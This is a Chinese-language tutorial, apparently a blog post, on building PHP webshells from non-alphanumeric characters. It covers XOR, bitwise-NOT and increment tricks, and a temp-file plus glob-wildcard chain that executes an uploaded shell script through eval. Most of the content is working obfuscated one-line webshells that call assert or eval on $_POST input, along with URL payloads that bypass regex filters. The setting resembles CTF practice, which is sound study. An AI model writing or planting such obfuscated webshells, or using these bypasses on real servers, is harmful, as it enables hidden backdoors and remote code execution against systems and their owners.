不包含字母和数字的webshell

目录

一、异或

1、异或的前置知识

 2、进阶版异或

 3、异或构建一句话木马

4、利用异或绕过正则:

补充知识:当下划线被过滤的时候

 二、取反

1、函数名取反绕过正则

2、字符取反拼接写webshell

三、自增

1、自增的原理

2、自增的使用方法

3、使用自增编写webshell

(一)代码解读

(二)完整代码

四、临时文件

1、php7绕过

2、php5+shell打破禁锢

(一) . file 执行文件

(二)精准匹配到正确的php临时文件名第二个难题接踵而至,执行./tmp/phpxxxXXxx,也是有字母的。此时就可以用到Linux下的glob通配符:

1、匹配到二进制文件 

2、通过添加glob分隔符

3、环境搭建

4、编写前端上传文件

5、为php文件添内容 

6、绕过eval的执行规则

第一个问题 -------- 没有进行url编码


一、异或

当$ 和 _ 没有被限制时

1、异或的前置知识

A的ascll码为65  二进制为0100 0001

`  的ascll码为96 二进制为0110 0000

A和 ` 取异或 即相同位 置0 ,不同位置 1

然后A 和 ` 得到的二进制码为 0010 0001 ,ascll码为33 ,ascll码表对应符号为!

 2、进阶版异或

 代码:

<?php
        function B(){
                echo "at the function";
        }
        $__="?" ^ "}";
        echo "\$__值为:$__";
        $__();
?>

 

?:0011 1111

}   :0111 1101

        0100 0010   -----66

所以异或的结果为B,将值赋值给了$__; 

 

 3、异或构建一句话木马

<?php
        $_++; //$_=1
        $__=("#" ^ "|"); // _
        $__.=("." ^ "~"); //_P   // .为拼接字符
        $__.=("/" ^ "`"); //_PO
        $__.=("|" ^ "/"); //_POS
        $__.=("{" ^ "/"); //_POST
        ${$__}[!$_](${$__}[$_]);  //$_POST[0]($_POST[1]);
?>

浏览器访问:

 使用蚁剑连接这个一句话木马;

4、利用异或绕过正则:

绕过限制的代码:

<?php
        echo $_="`{{{" ^ "?<>/"; ///_GET

?>
?code=$_="`{{{" ^ "?<>/";${$_}[_]();&_=getFlag //后面不能加;

补充知识:当下划线被过滤的时候

过滤下划线:

qf_zz_xhx.php

<?php
include "flag.php";
if(isset($_GET['code'])){
        $code=$_GET['code'];
//        if(strlen($code)>35){
//                die("Long.");
//       }
        if(preg_match("/[A-Za-z0-9_]+/",$code)){
                die("NO.");
        }
        eval($code);
}else{
        highlight_file(__FILE__);
}
?>
                                                                                          

将限制长度这里注释掉,因为汉字占用字节数较大。 

下划线被过滤的时候可以使用汉字来代替

?code=$啊="`{{{" ^ "?<>/";${$啊}[啊]();&啊=getFlag

为什么可以用汉字来做变量名呢,这里有一个问题,过滤了字母、数字和下划线之后怎么起变量名?忽然想到ava可以用汉字作为变量名(因为Java采用的是Unicode字符集,所以用中文作为变量名不会出错),那PHP说不定也可以,于是在本地试了一下发现居然没报错。

 二、取反

需要绕过的正则环境:

<?php
if(isset($_GET['code'])){
        $code=$_GET['code'];
        if(strlen($code)>35){
                die("Long.");
        }
        if(preg_match("/[A-Za-z0-9]+/",$code)){
                die("NO.");
        }
        eval($code);
}else{
        highlight_file(__FILE__);
}
?>

1、函数名取反绕过正则

代码:

qf.php

<?php
        $a = "phpinfo";
        echo urlencode(~$a);
?>

先将需要取反的值赋值给一个变量,"~"为取反

然后将取反的变量传入urlencode函数进行url编码

 phpinfo 取反的值为: %8F%97%8F%96%91%99%90

传入地址栏的代码如下:

?code=$_=~%8F%97%8F%96%91%99%90;$_()

2、字符取反拼接写webshell

代码:

qf.php

<?php
        $a = "和";
        echo ~$a;
?>

 其中 下标0为 特殊符号 下标1为 m 下标2为 s;

 根据这种方式我们写出了如下代码:

qf_code3.php

<?php

$__=('>'>'<')+('>'>'<'); // $__=2
$_=$__/$__; // $_=1


$____='';
$___="瞰";$____.=~($___{$_});$___="和";$____.=~($___{$__});$___="和";$____.=~($___{$__});$___="的";$____.=~($___{$_});$___="半";$____.=~($___{$_});$___="始";$____.=~($___{$__});
// echo $____; //$____=assert


$_____='_';
$___="俯";$_____.=~($___{$__});$___="瞰";$_____.=~($___{$__});$___="次";$_____.=~($___{$_});$___="站";$_____.=~($___{$_});
//echo $_____; //$_____=_POST

$_=$$_____;
$____($_[$__]); // assert($_POST[2])

?>

 执行代码:

三、自增

1、自增的原理

在处理字符变量的算数运算时,PHP沿袭了Perl的习惯,而非C的。例如,在Perl中 $a = 'Z';$a++;将把$a变成'AA',而在C中,a = 'Z'; a++;将把a变成 '[' (Z'的ASCIl值是90,'[' 的ASCll值是91)。注意字符变量只能递增,不能递减,并且只支持纯字母(a-z和A-Z)。递增/递减其他字符变量则无效,原字符串没有变化。也就是说,'a'++=> 'b',‘b'++ => 'c'..所以,我们只要能拿到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。

也就是说,'a'++ => 'b' , 'b'++=> 'c...所以,我们只要能羹到一个变量,其值为a,通过自增操作即可获得a-z中所有字符。


那么,如何拿到一个值为字符串'a'的变量呢?


巧了,数组(Array)的第一个字母就是大写A,而且第4个字母是小写a。也就是说,我们可以同时拿到小写和大写A,等于我们就可以拿到a-z和A-Z的所有字母。

2、自增的使用方法

在PHP中,如果强制连接数组和字符串的话,数组将被转换成字符串,其值为Array:

代码:

zz.php

<?php
        $_=[];
        $__="$_";
        echo $__; //Array
        $___=$__["!"=="@"];
        echo $___; //A
?>

第一个echo取到值Array 


 第二个echo取到值 A

3、使用自增编写webshell

(一)代码解读

利用这个技巧,我编写了如下webshell(因为PHP函数是大小写不敏感的,所以我们最终执行的是ASSERT($POST[]),无需获取小写a) :

<?php
        $_=[];
        $__="$_";
//      echo $__; //Array
        $_=$__["!"=="@"];
//      echo $_; //A

        $____=$_; // A
        // 1A 2B 3C 4D 5E 6F 7G 8H 9I 10J 11K 12L 13M 14N 15O 16P 17Q 18R 19S
        //将A进行18次++操作之后就可以拿到S
        $___=$_; //将A 赋值给$___; 
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
//      echo $___; // $___=S
        $____.=$___; // . 意为拼接,就是将后面$___的值拼接到$____上;
        echo $____;
?>

通过进行18次$___++;成功的将A变为了S; 

 通过同样的方式将完整的内容编写出来

(二)完整代码

代码如下:

<?php
        $_=[];
        $__="$_";
//      echo $__; //Array
        $_=$__["!"=="@"];
//      echo $_; //A

        $____=$_; // A
        // 1A 2B 3C 4D 5E 6F 7G 8H 9I 10J 11K 12L 13M 14N 15O 16P 17Q 18R 19S 20T 21U 22V 23W 24X 25Y 26Z
        //将A进行18次++操作之后就可以拿到S
        $___=$_; //将A 赋值给$___; 
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
//      echo $___; // $___=S
        $____.=$___; // AS . 意为拼接,就是将后面$___的值拼接到$____上;

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
        $____.=$___; //ASS

        $___=$_;
        $___++;$___++;$___++;$___++;
        $____.=$___; //ASSE

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
        $____.=$___; //ASSER

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;  
        $____.=$___; //ASSERT

//      echo $____; // ASSERT

        //获取了ASSERT之后,需要获得_POST;
                                                                                                                     1,5           Top

        $_____='_';

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
        $_____.=$___; //_P

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
        $_____.=$___; //_PO

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
        $_____.=$___; //_POS

        $___=$_;
        $___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;$___++;
        $_____.=$___; //_POST

//      echo $_____;  // _POST

        $____(${$_____}[_]) //ASSERT($_POST[_])
?>


 

四、临时文件

当$和_都被过滤掉的时候。文件想绕过就比较难了

代码:

<?php
if(isset($_GET['code'])){
        $code=$_GET['code'];
        if(strlen($code)>35){
                die("Long.");
       }
        if(preg_match("/[A-Za-z0-9_$]+/",$code)){
                die("NO.");
        }
        eval($code);
}else{
        highlight_file(__FILE__);
}
?>

1、php7绕过

PHP7前是不允许用($a)();这样的方法来执行动态函数的,但PHP7中增加了对此的支持。所以,我们可以通过('phpinfo')();来执行函数,第一个括号中可以是任意PHP表达式。


所以很简单了,构造一个可以生成phpinfo这个字符串的PHP表达式即可。payload如下(不可见字符用url编码表示)∶
直接给出payload:
(~%8F%97%8F%96%91%99%90)();
 

由于我的php版本为php5 ,所以暂不实验。

2、php5+shell打破禁锢

php5想要绕过就需要用到临时文件的方式

在php上传文件的时候会在tmp目录下生成一个临时文件

(一) . file 执行文件

此时我想到了两个有趣的Linux shell知识点:

1.shell下可以利用.来执行任意脚本

2.Linux文件名支持用glob通配符代替


第一点. 或者叫period,它的作用和source一样,就是用当前的shell执行一个文件中的命令。比如,当前运行的shell是bash,则.file的意思就是用bash执行file文件中的命令。


用. file执行文件,是不需要file有x权限的。那么,如果目标服务器上有一个我们可控的文件,那不就可以利用.来执行它了吗?


这个文件也很好得到,我们可以发送一个上传文件的POST包,此时PHP会将我们上传的文件保存在临时文件夹下,默认的文件名是/tmp/phpXxxxxx,文件名最后6个字符是随机的大小写字母。

(二)精准匹配到正确的php临时文件名
第二个难题接踵而至,执行./tmp/phpxxxXXxx,也是有字母的。此时就可以用到Linux下的glob通配符:

*可以代替0个及以上任意字符
?可以代表1个任意字符
那么,/tmp/phpxxxxxx就可以表示为/*/?????????或/???/?????????。

/???/????????? 执行的是全盘匹配;

但是运行的时候出现了问题

1、匹配到二进制文件 

 

2、通过添加glob分隔符

发现这种方法可行

最后通过php临时文件的特性来匹配(临时文件后六位是随机大小写)

我们来赌php文件最后一个字母是大写

. /???/????????[@-[]

这样就可以匹配到那个php的临时文件并执行了

3、环境搭建

如果想要生成临时文件,就需要有数据上传,先编写前端的代码:

这是一个上传文件的代码,将文件上传到web1.php中

web.html

<!DOCTYPE html>
<html lang="en">
<head>
        <meta charset="UTF-8">
        <title>Document</title>
</head>
<body>
        <form action="web1.php" method="post" enctype="multipart/form-data">
                <input type="file" name="upload_file" id="">
                <input type="submit" value="submit">
        </form>
</body>
</html>

web1.php

<?php
        var_dump($_FILES);
?>

 这是打印上传的文件位置;

在上传文件的时候会生成php的临时文件 

4、编写前端上传文件

1.txt

利用burpsuite抓包,获得上传文件的信息。

 

 

将其中文件内容部分信息截取下来:

header头内容:

Content-Type: multipart/form-data; boundary=---------------------------96421351337213956732351952790

-----------------------------96421351337213956732351952790
Content-Disposition: form-data; name="upload_file"; filename="1.txt"
Content-Type: text/plain

#!/bin/bash

whoami
-----------------------------96421351337213956732351952790--

 

5、为php文件添内容 

这是需要绕过的进行命令执行的php文件

tmp.php

<?php
if(isset($_GET['code'])){
        $code=$_GET['code'];
        if(strlen($code)>35){
                die("Long.");
       }
        if(preg_match("/[A-Za-z0-9_$]+/",$code)){
                die("NO.");
        }
        eval($code);
}else{
        highlight_file(__FILE__);
}
?>

利用burpsuite抓包

 这是抓到的包内容

 将之前抓到的前端上传的信息添加到这个包里面,然后将请求改为POST

可能有人会问GET能改POST吗,改为POST不影响文件的执行,tmp.php文件还是会将包内容里面的code后面的内容执行。

改为POST的目的是为了生成一个临时文件,POST的命令tmp.php包不会执行,但是POST的内容会在/tmp下生成一个临时文件。

我们的目的就是为了执行这个临时文件

 执行这个临时文件的方法就是之前使用 . file +glob通配符

我们将传入的code内容改为执行临时文件的命令

以下便是拼接出来的代码:

 

6、绕过eval的执行规则

将之前修改的包发过去显示错误:

第一个问题 -------- 没有进行url编码

? ---- %3f   @ ---- %40  [ ---%5b

 

 第二个问题 ------- 空格没编码

空格编码用"+"

 

 


 

  • 1
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值